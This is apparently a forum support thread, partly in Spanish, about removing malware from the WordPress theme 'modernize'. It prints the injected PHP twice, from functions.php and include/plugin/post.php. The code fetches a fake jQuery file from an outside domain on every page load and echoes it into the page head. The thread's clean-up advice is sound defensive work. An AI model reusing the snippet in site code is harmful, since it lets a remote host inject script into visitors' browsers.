Felipe

ponga acá en code lo contenido en fichero “functions.php” de tu tema
put here the content from your “functions.php”

@nrichardson

In the theme folder, locate the “functions.php” and delete the follow lines (24-26)

if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} if(!defined('WP_THEME_URL')) {
	define( 'WP_THEME_URL', get_template_directory_uri());
}

You would find the malicious code in that file “modernize/include/plugin/post.php”

I replaced the contents of that post.php file by a empty php:

<?php 

	/*
	*	Post file
	*	---------------------------------------------------------------------
	*	This file is empty
	*	just for replacement.
	*	---------------------------------------------------------------------
	*/

?>

(don’t exclude the file, just change the content)

I found the malicious call line in the “functions.php” theme.

include'include/plugin/post.php'; // post function

and content of the supposed “post.php” is:

<?php if (!function_exists('insert_jquery_des')){function insert_jquery_des(){if (function_exists('curl_init')){$url = "http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_des');} ?>